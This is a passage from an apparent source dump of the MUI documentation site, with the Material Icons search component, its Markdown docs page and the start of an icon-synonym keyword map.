(\n        <React.Fragment>\n          <DialogTitle>\n            <Tooltip\n              placement=\"right\"\n              title={copied1 ? t('copied') : t('clickToCopy')}\n              slotProps={{\n                transition: {\n                  onExited: () => setCopied1(false),\n                },\n              }}\n            >\n              <Title component=\"span\" variant=\"inherit\" onClick={handleClick(1)}>\n                {selectedIcon.importName}\n              </Title>\n            </Tooltip>\n          </DialogTitle>\n          <Tooltip\n            placement=\"top\"\n            title={copied2 ? t('copied') : t('clickToCopy')}\n            slotProps={{\n              transition: { onExited: () => setCopied2(false) },\n            }}\n          >\n            <Markdown\n              copyButtonHidden\n              onClick={handleClick(2)}\n              code={`import ${selectedIcon.importName}Icon from '@mui/icons-material/${selectedIcon.importName}';`}\n              language=\"js\"\n            />\n          </Tooltip>\n          <ImportLink\n            color=\"text.secondary\"\n            href=\"/material-ui/icons/\"\n            variant=\"caption\"\n          >\n            {t('searchIcons.learnMore')}\n          </ImportLink>\n          <DialogContent>\n            <Grid container>\n              <Grid size=\"grow\">\n                <Grid container sx={{ justifyContent: 'center' }}>\n                  <CanvasComponent as={selectedIcon.Component} />\n                </Grid>\n              </Grid>\n              <Grid size=\"grow\">\n                <Grid\n                  container\n                  sx={{ alignItems: 'flex-end', justifyContent: 'center' }}\n                >\n                  <Grid>\n                    <Tooltip title=\"fontSize small\">\n                      <FontSizeComponent\n                        as={selectedIcon.Component}\n                        fontSize=\"small\"\n                      />\n                    </Tooltip>\n                  </Grid>\n                  <Grid>\n                    <Tooltip title=\"fontSize medium\">\n                      <FontSizeComponent as={selectedIcon.Component} />\n                    </Tooltip>\n                  </Grid>\n                  <Grid>\n                    <Tooltip title=\"fontSize large\">\n                      <FontSizeComponent\n                        as={selectedIcon.Component}\n                        fontSize=\"large\"\n                      />\n                    </Tooltip>\n                  </Grid>\n                </Grid>\n                <Grid container sx={{ justifyContent: 'center' }}>\n                  <ContextComponent\n                    as={selectedIcon.Component}\n                    contextColor=\"primary\"\n                  />\n                  <ContextComponent\n                    as={selectedIcon.Component}\n                    contextColor=\"primaryInverse\"\n                  />\n                </Grid>\n                <Grid container sx={{ justifyContent: 'center' }}>\n                  <ContextComponent\n                    as={selectedIcon.Component}\n                    contextColor=\"textPrimary\"\n                  />\n                  <ContextComponent\n                    as={selectedIcon.Component}\n                    contextColor=\"textPrimaryInverse\"\n                  />\n                </Grid>\n                <Grid container sx={{ justifyContent: 'center' }}>\n                  <ContextComponent\n                    as={selectedIcon.Component}\n                    contextColor=\"textSecondary\"\n                  />\n                  <ContextComponent\n                    as={selectedIcon.Component}\n                    contextColor=\"textSecondaryInverse\"\n                  />\n                </Grid>\n              </Grid>\n            </Grid>\n          </DialogContent>\n          <DialogActions sx={{ borderTop: '1px solid', borderColor: 'divider' }}>\n            <Button onClick={handleClose}>{t('close')}</Button>\n          </DialogActions>\n        </React.Fragment>\n      ) : (\n        <div />\n      )}\n    </Dialog>\n  );\n});\n\nDialogDetails.propTypes = {\n  handleClose: PropTypes.func.isRequired,\n  open: PropTypes.bool.isRequired,\n  selectedIcon: PropTypes.object,\n};\n\nconst Form = styled('form')({\n  position: 'sticky',\n  top: 80,\n});\n\nconst Paper = styled(MuiPaper)(({ theme }) => ({\n  position: 'sticky',\n  top: 80,\n  display: 'flex',\n  alignItems: 'center',\n  marginBottom: theme.spacing(2),\n  width: '100%',\n  borderRadius: '12px',\n  border: '1px solid',\n  borderColor: (theme.vars ?? theme).palette.divider,\n  boxShadow: 'none',\n}));\n\nfunction formatNumber(value) {\n  return new Intl.NumberFormat('en-US').format(value);\n}\n\nconst Input = styled(InputBase)({\n  flex: 1,\n});\n\nconst searchIndex = new FlexSearchIndex({\n  tokenize: 'full',\n});\n\nconst allIconsMap = {};\nconst allIcons = Object.keys(mui)\n  .sort()\n  .map((importName) => {\n    let theme = 'Filled';\n    let name = importName;\n\n    for (const currentTheme of ['Outlined', 'Rounded', 'TwoTone', 'Sharp']) {\n      if (importName.endsWith(currentTheme)) {\n        theme = currentTheme === 'TwoTone' ? 'Two tone' : currentTheme;\n        name = importName.slice(0, -currentTheme.length);\n        break;\n      }\n    }\n    let searchable = name;\n    if (synonyms[searchable]) {\n      searchable += ` ${synonyms[searchable]}`;\n    }\n    searchIndex.add(importName, searchable);\n\n    const icon = {\n      importName,\n      name,\n      theme,\n      Component: mui[importName],\n    };\n    allIconsMap[importName] = icon;\n    return icon;\n  });\n\n/**\n * Returns the last defined value that has been passed in [value]\n */\nfunction useLatest(value) {\n  const latest = React.useRef(value);\n  React.useEffect(() => {\n    if (value !== undefined && value !== null) {\n      latest.current = value;\n    }\n  }, [value]);\n  return value ?? latest.current;\n}\n\nexport default function SearchIcons() {\n  const [theme, setTheme] = useQueryParameterState('theme', 'Filled');\n  const [selectedIcon, setSelectedIcon] = useQueryParameterState('selected', '');\n  const [query, setQuery] = useQueryParameterState('query', '');\n\n  const handleOpenClick = React.useCallback(\n    (event) => {\n      setSelectedIcon(event.currentTarget.getAttribute('title'));\n    },\n    [setSelectedIcon],\n  );\n\n  const handleClose = React.useCallback(() => {\n    setSelectedIcon('');\n  }, [setSelectedIcon]);\n\n  const icons = React.useMemo(() => {\n    const keys = query === '' ? null : searchIndex.search(query, { limit: 3000 });\n    return (keys === null ? allIcons : keys.map((key) => allIconsMap[key])).filter(\n      (icon) => theme === icon.theme,\n    );\n  }, [query, theme]);\n\n  const deferredIcons = React.useDeferredValue(icons);\n\n  const isPending = deferredIcons !== icons;\n\n  React.useEffect(() => {\n    // Keep track of the no results so we can add synonyms in the future.\n    if (query.length >= 4 && icons.length === 0) {\n      window.gtag('event', 'material-icons', {\n        eventAction: 'no-results',\n        eventLabel: query,\n      });\n    }\n  }, [query, icons.length]);\n\n  const dialogSelectedIcon = useLatest(\n    selectedIcon ? allIconsMap[selectedIcon] : null,\n  );\n\n  return (\n    <Grid container sx={{ minHeight: 500, width: '100%' }}>\n      <Grid\n        size={{\n          xs: 12,\n          sm: 3,\n        }}\n      >\n        <Form>\n          <Typography sx={{ fontWeight: 500, mb: 1 }}>Filter the style</Typography>\n          <RadioGroup\n            value={theme}\n            onChange={(event) => setTheme(event.target.value)}\n          >\n            {['Filled', 'Outlined', 'Rounded', 'Two tone', 'Sharp'].map(\n              (currentTheme) => {\n                return (\n                  <FormControlLabel\n                    key={currentTheme}\n                    value={currentTheme}\n                    control={<Radio size=\"small\" />}\n                    label={currentTheme}\n                  />\n                );\n              },\n            )}\n          </RadioGroup>\n        </Form>\n      </Grid>\n      <Grid\n        size={{\n          xs: 12,\n          sm: 9,\n        }}\n      >\n        <Paper>\n          <IconButton sx={{ padding: '10px' }} aria-label=\"search\">\n            <SearchIcon />\n          </IconButton>\n          <Input\n            autoFocus\n            value={query}\n            onChange={(event) => setQuery(event.target.value)}\n            placeholder=\"Search icons…\"\n            inputProps={{ 'aria-label': 'search icons' }}\n            endAdornment={\n              isPending ? (\n                <InputAdornment position=\"end\">\n                  <CircularProgress size={16} sx={{ mr: 2 }} />\n                </InputAdornment>\n              ) : null\n            }\n          />\n        </Paper>\n        <Typography sx={{ mb: 1 }}>{`${formatNumber(\n          icons.length,\n        )} matching results`}</Typography>\n        <Icons icons={deferredIcons} handleOpenClick={handleOpenClick} />\n      </Grid>\n      <DialogDetails\n        open={!!selectedIcon}\n        selectedIcon={dialogSelectedIcon}\n        handleClose={handleClose}\n      />\n    </Grid>\n  );\n}\n"
  },
  {
    "path": "docs/data/material/components/material-icons/material-icons.md",
    "content": "---\nproductId: material-ui\ncomponents: Icon, SvgIcon\nmaterialDesign: https://m2.material.io/design/iconography/system-icons.html\npackageName: '@mui/icons-material'\ngithubLabel: 'package: icons'\n---\n\n# Material Icons\n\n<p class=\"description\">2,100+ ready-to-use React Material Icons from the official website.</p>\n\n{{\"component\": \"@mui/docs/ComponentLinkHeader\"}}\n<br/>\n\n[@mui/icons-material](https://www.npmjs.com/package/@mui/icons-material)\nincludes the 2,100+ official [Material Icons](https://fonts.google.com/icons?icon.set=Material+Icons) converted to [`SvgIcon`](/material-ui/api/svg-icon/) components.\nIt depends on `@mui/material`, which requires Emotion packages.\nUse one of the following commands to install it:\n\n<!-- #npm-tag-reference -->\n\n<codeblock storageKey=\"package-manager\">\n\n```bash npm\nnpm install @mui/icons-material@next @mui/material@next @emotion/styled @emotion/react\n```\n\n```bash pnpm\npnpm add @mui/icons-material@next @mui/material@next @emotion/styled @emotion/react\n```\n\n```bash yarn\nyarn add @mui/icons-material@next @mui/material@next @emotion/styled @emotion/react\n```\n\n</codeblock>\n\nSee the [Installation](/material-ui/getting-started/installation/) page for additional docs about how to make sure everything is set up correctly.\n\n:::info\nGoogle offers [Material Symbols](https://fonts.google.com/icons?icon.set=Material+Symbols) as the successor to Material Icons. However, `@mui/icons-material` currently supports only Icons, with no support for Symbols yet.\n:::\n\n<hr/>\n\n## Search Material Icons\n\nBrowse through the icons below to find the one you need.\nThe search field supports synonyms—for example, try searching for \"hamburger\" or \"logout.\"\n\n{{\"demo\": \"SearchIcons.js\", \"hideToolbar\": true, \"bg\": true}}\n"
  },
  {
    "path": "docs/data/material/components/material-icons/synonyms.js",
    "content": "const synonyms = {\n  Abc: 'alphabet character font letters symbol text type',\n  AccessAlarm: 'clock time',\n  AccessAlarms: 'clock time',\n  Accessibility: 'accessible body handicap help human people person user',\n  AccessibilityNew: 'accessible arms body handicap help human people person user',\n  Accessible: 'accessibility body handicap help human people person user wheelchair',\n  AccessibleForward:\n    'accessibility body handicap help human people person wheelchair',\n  AccessTime: 'clock time',\n  AccountBalance:\n    'bank bill building card cash coin commerce court credit currency dollars finance government money online payment structure temple transaction',\n  AccountBalanceWallet:\n    'bank bill card cash coin commerce credit currency dollars finance money online payment transaction',\n  AccountBox: 'avatar face human people person profile square thumbnail user',\n  AccountCircle: 'avatar face human people person profile thumbnail user',\n  AccountTree:\n    'analytics chart connect data diagram flow infographic measure metrics process project sitemap square statistics structure tracking',\n  AcUnit: 'air cold conditioner freeze snowflake temperature weather winter',\n  Adb: 'android bridge debug',\n  Add: '+ create item new plus symbol',\n  AddAlarm: 'clock plus time',\n  AddAlert:\n    '+ active alarm announcement bell callout chime information new notifications notify plus reminder ring sound symbol',\n  AddAPhoto: '+ camera lens new photography picture plus symbol',\n  AddBox: 'create new plus square symbol',\n  AddBusiness:\n    '+ bill building card cash coin commerce company credit currency dollars market money new online payment plus retail shopping storefront symbol',\n  AddCard:\n    '+ bill cash coin commerce cost credit currency dollars finance money new online payment plus price shopping symbol',\n  Addchart:\n    '+ analytics bars data diagram infographic measure metrics new plus statistics symbol tracking',\n  AddCircle: '+ counter create new plus',\n  AddCircleOutline: '+ create new plus',\n  AddComment: '+ bubble chat communicate feedback message new plus speech symbol',\n  AddIcCall: '+ cell contact device hardware mobile new plus symbol telephone',\n  AddLink: 'attach clip new plus symbol',\n  AddLocation: '+ destination direction gps maps new pin place plus stop symbol',\n  AddLocationAlt: '+ destination direction maps new pin place plus stop symbol',\n  AddModerator:\n    '+ certified new plus privacy private protection security shield symbol verified',\n  AddPhotoAlternate:\n    '+ image landscape mountains new photography picture plus symbol',\n  AddReaction:\n    '+ emoji emotions expressions face feelings glad happiness happy icons insert like mood new person pleased plus smile smiling social survey symbol',\n  AddRoad:\n    '+ destination direction highway maps new plus stop street symbol traffic',\n  AddShoppingCart:\n    'card cash checkout coin commerce credit currency dollars money online payment plus',\n  AddTask: '+ approve check circle completed increase mark ok plus select tick yes',\n  AddToDrive:\n    '+ application backup cloud data files folders gdrive google plus recovery shortcut storage',\n  AddToHomeScreen:\n    'Android add arrow cell device hardware iOS mobile phone tablet to up',\n  AddToPhotos: 'collection image landscape mountains photography picture plus',\n  AddToQueue:\n    '+ Android backlog chrome desktop device display hardware iOS lineup mac monitor new plus screen symbol television watch web window',\n  AdfScanner: 'document feeder machine office',\n  Adjust:\n    'alter auto center circles click control dot edit filter fix focus image mix move setting slider sort switch target tune',\n  AdminPanelSettings:\n    'account avatar certified face human people person privacy private profile protection security shield user verified',\n  AdsClick: 'browser clicks cursor internet target traffic web',\n  AdUnits:\n    'Android banner cell device hardware iOS mobile notifications phone tablet top',\n  Agriculture:\n    'automobile cars cultivation farm harvest maps tractor transport travel truck vehicle',\n  Air: 'blowing breeze flow wave weather wind',\n  Airlines:\n    'aircraft airplanes airport flights flying mode signal transportation travel trip',\n  AirlineSeatFlat:\n    'bed body business class first human people person rest sleep travel',\n  AirlineSeatFlatAngled:\n    'bed body business class first human people person rest sleep travel',\n  AirlineSeatIndividualSuite:\n    'bed body business class first human people person rest sleep travel',\n  AirlineSeatLegroomExtra: 'body feet human people person sitting space travel',\n  AirlineSeatLegroomNormal: 'body feet human people person sitting space travel',\n  AirlineSeatLegroomReduced: 'body feet human people person sitting space travel',\n  AirlineSeatReclineExtra:\n    'body feet human legroom people person sitting space travel',\n  AirlineSeatReclineNormal:\n    'body extra feet human legroom people person sitting space travel',\n  AirlineStops:\n    'arrow destination direction layover location maps place transportation travel trip',\n  AirplanemodeActive:\n    'aircraft airplanes airport flights flying signal transportation travel trip',\n  AirplanemodeInactive:\n    'aircraft airplanes airport disabled enabled flights flying maps offline signal slash transportation travel trip',\n  AirplaneTicket:\n    'aircraft airplanes airport boarding flights flying maps pass signal transportation travel trip',\n  Airplay:\n    'apple arrow cast connect control desktop device display monitor screen signal television tv',\n  AirportShuttle:\n    'automobile bus cars commercial delivery direction maps mini public transportation travel truck van vehicle',\n  Alarm: 'alart alert bell clock countdown date notification schedule time',\n  AlarmAdd:\n    '+ alart alert bell clock countdown date new notification plus schedule symbol time',\n  AlarmOff:\n    'alart alert bell checkmark clock disabled duration enabled notification slash stop timer watch',\n  AlarmOn:\n    'alart alert bell checkmark clock disabled duration enabled notification off ready slash start timer watch',\n  Album:\n    'artist audio bvb cd computer data disk file music play record sound storage track vinyl',\n  AlignHorizontalCenter: 'alignment format layout lines paragraph rules style text',\n  AlignHorizontalLeft: 'alignment format layout lines paragraph rules style text',\n  AlignHorizontalRight: 'alignment format layout lines paragraph rules style text',\n  AlignVerticalBottom: 'alignment format layout lines paragraph rules style text',\n  AlignVerticalCenter: 'alignment format layout lines paragraph rules style text',\n  AlignVerticalTop: 'alignment format layout lines paragraph rules style text',\n  AllInbox: 'Inbox delivered delivery email letter message post send',\n  AllInclusive:\n    'endless forever infinite infinity loop mobius neverending strip sustainability sustainable',\n  AllOut: 'arrows circle directional expand shape',\n  AlternateEmail: '@ address contact tag',\n  AltRoute:\n    'alternate alternative arrows dashed direction maps navigation options other routes split symbol',\n  Analytics:\n    'assessment bar chart data diagram infographic measure metrics statistics tracking',\n  Anchor: 'google logo',\n  Android: 'brand character logo mascot operating system toy',\n  Animation: 'circles film motion movement movie moving sequence video',\n  Announcement:\n    '! alert attention balloon bubble caution chat comment communicate danger error exclamation feedback important mark message news notification speech symbol warning',\n  Aod: 'Android always device display hardware homescreen iOS mobile phone tablet',\n  Apartment:\n    'accommodation architecture building city company estate flat home house office places real residence residential shelter units workplace',\n  Api: 'developer development enterprise software',\n  AppBlocking:\n    'Android applications cancel cell device hardware iOS mobile phone stopped tablet',\n  Apple: 'brand logo',\n  AppRegistration: 'apps edit pencil register',\n  Approval:\n    'apply approvals approve certificate certification disapproval drive file impression ink mark postage stamp',\n  Apps: 'all applications circles collection components dots grid homescreen icons interface squares ui ux',\n  AppSettingsAlt:\n    'Android applications cell device gear hardware iOS mobile phone tablet',\n  AppShortcut:\n    'bookmarked favorite highlight important mobile saved software special star',\n  AppsOutage:\n    'all applications circles collection components dots grid interface squares ui ux',\n  Architecture: 'art compass design drawing engineering geometric tool',\n  Archive: 'inbox mail store',\n  AreaChart:\n    'analytics data diagram infographic measure metrics statistics tracking',\n  ArrowBack:\n    'DISABLE_IOS application components direction disable_ios interface left navigation previous screen ui ux website',\n  ArrowBackIos:\n    'DISABLE_IOS application chevron components direction disable_ios interface left navigation previous screen ui ux website',\n  ArrowBackIosNew:\n    'DISABLE_IOS application chevron components direction disable_ios interface left navigation previous screen ui ux website',\n  ArrowCircleDown: 'direction navigation',\n  ArrowCircleLeft: 'direction navigation',\n  ArrowCircleRight: 'direction navigation',\n  ArrowCircleUp: 'direction navigation',\n  ArrowDownward:\n    'application components direction interface navigation screen ui ux website',\n  ArrowDropDown:\n    'application components direction interface navigation screen ui ux website',\n  ArrowDropDownCircle:\n    'application components direction interface navigation screen ui ux website',\n  ArrowDropUp:\n    'application components direction interface navigation screen ui ux website',\n  ArrowForward:\n    'application arrows components direction interface navigation right screen ui ux website',\n  ArrowForwardIos:\n    'application chevron components direction interface navigation next right screen ui ux website',\n  ArrowLeft:\n    'application backstack backward components direction interface navigation previous screen ui ux website',\n  ArrowOutward:\n    'application arrows components direction forward interface navigation right screen ui ux website',\n  ArrowRight:\n    'application components continue direction forward interface navigation screen ui ux website',\n  ArrowRightAlt: 'arrows direction east navigation pointing shape',\n  ArrowUpward:\n    'application components direction interface navigation screen submit ui ux website',\n  Article: 'clarify document file news page paper text writing',\n  ArtTrack:\n    'album artist audio display format image insert music photography picture sound tracks',\n  AspectRatio: 'dashed expand image monitor resize resolution scale screen square',\n  Assessment:\n    'analytics bars chart data diagram infographic measure metrics report statistics tracking',\n  Assignment: 'article clipboard document task text writing',\n  AssignmentInd: 'account clipboard document face people person profile task user',\n  AssignmentLate:\n    '! alert announcement attention caution clipboard danger document error exclamation important mark notification symbol task warning',\n  AssignmentReturn: 'arrow back clipboard document left point retun task',\n  AssignmentReturned: 'arrow clipboard document down point task',\n  AssignmentTurnedIn:\n    'approve checkmark clipboard complete document done finished ok select task tick validate verified yes',\n  Assistant:\n    'artificial automatic automation bubble chat comment communicate custom feedback genai intelligence magic message recommendation smart sparkle speech star suggestion twinkle',\n  AssistantDirection:\n    'destination location maps navigate navigation pin place right stop',\n  AssistantPhoto: 'flag recommendation smart star suggestion',\n  AssistWalker:\n    'accessibility accessible body disability handicap help human injured injury mobility person',\n  AssuredWorkload:\n    'account balance bank bill building card cash coin commerce compliance confidential credit currency dollars federal finance government money online payment regulatory secure sensitive',\n  Atm: 'alphabet automated bill card cart cash character coin commerce credit currency dollars font letters machine money online payment shopping symbol teller text type',\n  AttachEmail: 'attachment compose envelop letters link message paperclip send',\n  AttachFile: 'add attachment item link mail media paperclip',\n  Attachment: 'compose file image item link paperclip',\n  AttachMoney:\n    'attachment bill card cash circle coin commerce cost credit currency dollars finance monetization online payment price profit sale shopping symbol',\n  Attractions: 'amusement entertainment ferris fun maps park places wheel',\n  Attribution:\n    'account attribute body circle copyright copywriter human people person profile user youtube',\n  AudioFile: 'document key music note sound track',\n  Audiotrack: 'key music note sound',\n  AutoAwesome:\n    'adjust artificial automatic automation custom editing enhance filter genai image intelligence magic photography photos setting smart sparkle stars',\n  AutoAwesomeMosaic:\n    'adjust collage editing enhance filter grid image layout photographs photography photos pictures setting',\n  AutoAwesomeMotion:\n    'adjust animation collage editing enhance filter image live photographs photography photos pictures setting video',\n  AutoDelete: 'bin can clock date garbage remove schedule time trash',\n  AutoFixHigh:\n    'adjust artificial automatic automation custom editing enhance erase genai intelligence magic modify pen smart sparkle stars tool wand',\n  AutoFixNormal:\n    'artificial automatic automation custom edit erase genai intelligence magic modify smart sparkle stars wand',\n  AutoFixOff:\n    'artificial automatic automation custom disabled edit enabled erase genai intelligence magic modify slash smart sparkle stars wand',\n  AutofpsSelect:\n    'A alphabet character font frame frequency letters per rate seconds symbol text type',\n  AutoGraph:\n    'analytics chart data diagram infographic line measure metrics stars statistics tracking',\n  AutoMode:\n    'around arrows artificial automatic automation custom direction genai inprogress intelligence loading magic navigation nest refresh renew rotate smart sparkle star turn',\n  Autorenew:\n    'around arrows cached direction inprogress loader loading navigation pending refresh rotate status turn',\n  AutoStories: 'audiobook flipping pages reading story',\n  AvTimer: 'clock countdown duration minutes seconds stopwatch',\n  BabyChangingStation:\n    'babies bathroom body children father human infant kids mother newborn people person toddler wc young',\n  BackHand: 'fingers gesture raised',\n  Backpack: 'bookbag knapsack storage travel',\n  Backspace: 'arrow cancel clear correct delete erase remove',\n  Backup: 'arrow cloud data drive files folders point storage submit upload',\n  BackupTable: 'drive files folders format layout stack storage',\n  Badge:\n    'account avatar card certified employee face human identification name people person profile security user work',\n  BakeryDining: 'bread breakfast brunch croissant food',\n  Balance:\n    'equal equilibrium equity impartiality justice parity stability. steadiness symmetry',\n  Balcony:\n    'architecture doors estate home house maps outside place real residence residential stay terrace window',\n  Ballot: 'bullet bulllet election list point poll vote',\n  BarChart:\n    'analytics anlytics data diagram infographic measure metrics statistics tracking',\n  BatchPrediction: 'bulb idea light',\n  Bathroom: 'closet home house place plumbing shower sprinkler wash water wc',\n  Bathtub: 'bathing bathroom clean home hotel human person shower travel',\n  Battery0Bar: 'cell charge full mobile power',\n  Battery1Bar: 'cell charge mobile power',\n  Battery2Bar: 'cell charge mobile power',\n  Battery3Bar: 'cell charge mobile power',\n  Battery4Bar: 'cell charge mobile power',\n  Battery5Bar: 'cell charge mobile power',\n  Battery6Bar: 'cell charge mobile power',\n  BatteryAlert:\n    '! attention caution cell charge danger error exclamation important mark mobile notification power symbol warning',\n  BatteryChargingFull:\n    'cell charge electric energy instant lightening lightning mobile power thunderbolt',\n  BatteryFull: '0 bar cell charge mobile power',\n  BatterySaver: '+ add charge charging new plus power symbol',\n  BatteryStd: 'cell charge mobile plus power standard',\n  BatteryUnknown:\n    '? assistance cell charge help information mark mobile power punctuation question support symbol',\n  BeachAccess: 'parasol places summer sunny umbrella',\n  Bed: 'bedroom double full furniture home hotel house king night pillows queen rest size sleep',\n  BedroomBaby:\n    'babies children home horse house infant kid newborn rocking toddler young',\n  BedroomChild:\n    'children furniture home hotel house kid night pillows rest size sleep twin young',\n  BedroomParent:\n    'double full furniture home hotel house king master night pillows queen rest sizem sleep',\n  Bedtime:\n    'clear climate home lunar moon nest nightime quiet security sleep thermostat weather',\n  BedtimeOff:\n    'active clear climate disabled home lunar moon nest nightime offline quiet security slash sleep thermostat weather',\n  Beenhere:\n    'approve archive bookmark checkmark complete done favorite label library reading remember ribbon save select tag tick validate verified yes',\n  Bento: 'box dinner food lunch meal restaurant takeout',\n  BikeScooter: 'automobile cars maps transportation vehicle vespa',\n  Biotech: 'chemistry laboratory microscope research science technology test',\n  Blender: 'appliance cooking electric juicer kitchen machine vitamix',\n  Blind:\n    'accessibility accessible assist body cane disability handicap help human mobility person walker',\n  Blinds: 'cover curtains nest open shutter sunshade',\n  BlindsClosed: 'cover curtains nest shutter sunshade',\n  Block:\n    'allowed avoid banned cancel close disable disturb do entry exit not prohibited quit remove stop',\n  Bloodtype: 'donate droplet emergency hospital medicine negative positive water',\n  Bluetooth: 'cast connection device network paring streaming symbol wireless',\n  BluetoothAudio: 'connection device music signal sound symbol',\n  BluetoothConnected:\n    'cast connection device network paring streaming symbol wireless',\n  BluetoothDisabled:\n    'cast connection device enabled network offline paring slash streaming symbol wireless',\n  BluetoothDrive:\n    'automobile cars cast connection device maps paring streaming symbol transportation travel vehicle wireless',\n  BluetoothSearching: 'connection device network paring symbol wireless',\n  BlurCircular: 'circle dots editing effect enhance filter',\n  BlurLinear: 'dots editing effect enhance filter',\n  BlurOff: 'disabled dots editing effect enabled enhance on slash',\n  BlurOn: 'disabled dots editing effect enabled enhance filter off slash',\n  Bolt: 'electric energy fast flash instant lightning power thunderbolt',\n  Book: 'blog bookmark favorite label library reading remember ribbon save tag',\n  Bookmark: 'archive favorite follow label library reading remember ribbon save tag',\n  BookmarkAdd: '+ favorite plus remember ribbon save symbol',\n  BookmarkAdded:\n    'approve check complete done favorite remember save select tick validate verified yes',\n  BookmarkBorder:\n    'archive favorite label library outline reading remember ribbon save tag',\n  BookmarkRemove: 'delete favorite minus remember ribbon save subtract',\n  Bookmarks:\n    'favorite label layers library multiple reading remember ribbon save stack tag',\n  BookOnline:\n    'Android admission appointment cell device event hardware iOS mobile pass phone reservation tablet ticket',\n  BorderAll: 'doc editing editor spreadsheet stroke text type writing',\n  BorderBottom: 'dashed doc editing editor spreadsheet stroke text type writing',\n  BorderClear: 'dashed doc editing editor spreadsheet stroke text type writing',\n  BorderColor:\n    'all create doc editing editor marker pencil spreadsheet stroke text type writing',\n  BorderHorizontal: 'dashed doc editing editor spreadsheet stroke text type writing',\n  BorderInner: 'dashed doc editing editor spreadsheet stroke text type writing',\n  BorderLeft: 'dashed doc editing editor spreadsheet stroke text type writing',\n  BorderOuter: 'dashed doc editing editor spreadsheet stroke text type writing',\n  BorderRight: 'dashed doc editing editor spreadsheet stroke text type writing',\n  BorderStyle:\n    'color dashed doc editing editor spreadsheet stroke text type writing',\n  BorderTop: 'dashed doc editing editor spreadsheet stroke text type writing',\n  BorderVertical: 'dashed doc editing editor spreadsheet stroke text type writing',\n  Boy: 'body gender human male people person social symbol',\n  BrandingWatermark:\n    'components copyright design emblem format identity interface layout logo screen stamp ui ux website window',\n  BreakfastDining: 'bakery bread butter food toast',\n  Brightness1: 'circle control crescent cresent level moon screen',\n  Brightness2: 'circle control crescent cresent level moon night screen',\n  Brightness3: 'circle control crescent cresent level moon night screen',\n  Brightness4: 'circle control crescent cresent dark level moon night screen sun',\n  Brightness5: 'circle control crescent cresent level moon screen sun',\n  Brightness6: 'circle control crescent cresent level moon screen sun',\n  Brightness7: 'circle control crescent cresent level light moon screen sun',\n  BrightnessAuto: 'A control display level mobile monitor phone screen',\n  BrightnessHigh: 'auto control mobile monitor phone',\n  BrightnessLow: 'auto control mobile monitor phone',\n  BrightnessMedium: 'auto control mobile monitor phone',\n  BrokenImage: 'corrupt error landscape mountains photography picture torn',\n  BrowseGallery: 'clock collection library stack watch',\n  BrowserNotSupported:\n    'disabled enabled internet off on page screen slash website www',\n  BrowserUpdated:\n    'Android arrow chrome desktop device display download hardware iOS mac monitor screen web window',\n  BrunchDining: 'breakfast champagne champaign drink food lunch meal',\n  Brush: 'art design draw editing painting tool',\n  BubbleChart:\n    'analytics bars data diagram infographic measure metrics statistics tracking',\n  BugReport: 'animal file fix insect issue problem testing ticket virus warning',\n  Build: 'adjust fix home nest repair spanner tools wrench',\n  BuildCircle: 'adjust fix repair tool wrench',\n  Bungalow:\n    'architecture cottage estate home house maps place real residence residential stay traveling',\n  BurstMode: 'image landscape mountains multiple photography picture',\n  BusAlert:\n    '! attention automobile cars caution danger error exclamation important maps mark notification symbol transportation vehicle warning',\n  Business:\n    'address apartment architecture building company estate flat home office place real residence residential shelter structure',\n  BusinessCenter: 'baggage briefcase places purse suitcase work',\n  Cabin:\n    'architecture camping cottage estate home house log maps place real residence residential stay traveling wood',\n  Cable: 'connection device electronics usb wire',\n  Cached: 'around arrows inprogress loader loading refresh reload renew rotate',\n  Cake: 'add baked birthday candles celebration dessert food frosting new party pastries pastry pie plus social sweet symbol',\n  Calculate: '+ - = calculator count finance math',\n  CalendarMonth: 'date event schedule today',\n  CalendarToday: 'date event month remember reminder schedule week',\n  CalendarViewDay:\n    'date event format grid layout month remember reminder schedule today week',\n  CalendarViewMonth: 'date event format grid layout schedule today',\n  CalendarViewWeek: 'date event format grid layout month schedule today',\n  Call: 'cell contact device hardware mobile talk telephone',\n  CallEnd: 'cell contact device hardware mobile talk telephone',\n  CallMade: 'arrow device mobile',\n  CallMerge: 'arrow device mobile',\n  CallMissed: 'arrow device mobile',\n  CallMissedOutgoing: 'arrow device mobile',\n  CallReceived: 'arrow device mobile',\n  CallSplit: 'arrow device mobile',\n  CallToAction:\n    'alert bar components cta design information interface layout message notification screen ui ux website window',\n  Camera: 'album aperture lens photography picture record screenshot shutter',\n  CameraAlt: 'image photography picture',\n  CameraEnhance:\n    'artificial automatic automation custom genai important intelligence lens magic photography picture quality smart sparkle special star',\n  CameraFront: 'body human lens mobile person phone photography portrait selfie',\n  CameraIndoor:\n    'architecture building estate filming home house image inside motion nest picture place real residence residential shelter videography',\n  CameraOutdoor:\n    'architecture building estate filming home house image motion nest outside picture place real residence residential shelter videography',\n  CameraRear: 'front lens mobile phone photography picture portrait selfie',\n  CameraRoll: 'film image library photography',\n  Cameraswitch: 'arrows flip rotate swap view',\n  Campaign: 'alert announcement loud megaphone microphone notification speaker',\n  Cancel: 'circle clear close cross disable exit remove status stop',\n  CancelPresentation:\n    'clear close device exit no quit remove screen share slide stop website window',\n  CancelScheduleSend: 'clear email no quit remove share stop x',\n  CandlestickChart:\n    'analytics data diagram finance infographic measure metrics statistics tracking',\n  CarCrash:\n    'accident automobile cars collision direction maps public transportation vehicle',\n  CardGiftcard:\n    'account balance bill cart cash certificate coin commerce creditcard currency dollars money online payment present shopping',\n  CardMembership:\n    'bill bookmark cash certificate coin commerce cost creditcard currency dollars finance loyalty money online payment shopping subscription',\n  CardTravel:\n    'bill cash coin commerce cost creditcard currency dollars finance membership miles money online payment trip',\n  Carpenter: 'building construction cutting handyman repair saw tool',\n  CarRental:\n    'access automobile cars entry key maps password transportation unlock vehicle',\n  CarRepair: 'automobile cars maps transportation vehicle',\n  Cases: 'baggage briefcase business purse suitcase',\n  Casino:\n    'casino chips dice dots entertainment gamble gambling games luck places tokens',\n  Cast: 'Android airplay chromecast connect desktop device display hardware iOS mac monitor screencast streaming television tv web window wireless',\n  CastConnected:\n    'Android airplay chromecast desktop device display hardware iOS mac monitor screencast streaming television tv web window wireless',\n  CastForEducation:\n    'Android airplay chrome connect desktop device display hardware iOS learning lessons mac monitor screencast streaming teaching television tv web window wireless',\n  Castle: 'fortress mansion palace',\n  CatchingPokemon: 'go pokestop travel',\n  Category: 'categories circle collection items product shapes sort square triangle',\n  Celebration: 'activity birthday event fun party',\n  CellTower: 'broadcast casting network signal transmitting wireless',\n  CellWifi: 'connection data internet mobile network phone service signal wireless',\n  CenterFocusStrong: 'camera image lens photography zoom',\n  CenterFocusWeak: 'camera image lens 